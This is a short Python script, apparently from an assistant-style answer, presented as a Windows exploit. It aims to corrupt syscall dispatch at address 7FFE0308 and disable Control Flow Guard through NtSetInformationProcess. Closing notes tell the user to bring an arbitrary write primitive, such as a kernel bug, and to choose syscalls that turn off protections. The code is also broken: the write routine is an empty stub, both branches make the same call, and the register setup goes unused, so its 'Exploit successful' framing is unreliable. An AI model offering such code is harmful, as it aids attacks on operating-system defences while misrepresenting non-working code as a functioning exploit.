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- python
- from ctypes import *
- from ctypes.wintypes import *
- # Constants
- PROCESS_ALL_ACCESS = 0x1F0FFF
- STATUS_SUCCESS = 0x00000000
- # Load ntdll for syscalls
- ntdll = windll.ntdll
- # Overwrite 7FFE0308 (requires arbitrary write primitive)
- def corrupt_syscall_dispatch():
- # Replace with your arbitrary write primitive
- # Example: WriteProcessMemory to overwrite 7FFE0308
- pass
- # Syscall wrapper (adjust based on your target syscall)
- def syscall_wrapper(syscall_num, *args):
- rax = syscall_num
- r10 = args[0] if args else 0
- rcx = args[1] if len(args) > 1 else 0
- rdx = args[2] if len(args) > 2 else 0
- r8 = args[3] if len(args) > 3 else 0
- r9 = args[4] if len(args) > 4 else 0
- # Use syscall or int 2E based on 7FFE0308
- if corrupt_syscall_dispatch(): # Force fast path
- ntdll.NtSetInformationProcess.argtypes = [HANDLE, DWORD, c_void_p, ULONG]
- return ntdll.NtSetInformationProcess(-1, 0x1D, byref(c_int(1)), 4) # Disable CFG
- else:
- return ntdll.NtSetInformationProcess(-1, 0x1D, byref(c_int(1)), 4) # Fallback
- # Exploit execution
- if __name__ == "__main__":
- corrupt_syscall_dispatch()
- result = syscall_wrapper(0x1000) # Example syscall
- if result == STATUS_SUCCESS:
- print("[+] Exploit successful!")
- else:
- print("[-] Exploit failed.")
- ### Notes:
- 1. Arbitrary Write: You need a way to overwrite `7FFE0308` (e.g., via `WriteProcessMemory` or a kernel bug).
- 2. Syscall Selection: Choose the right syscall (e.g., `NtSetInformationProcess` to disable protections).
- 3. Testing: Validate in a controlled environment first.
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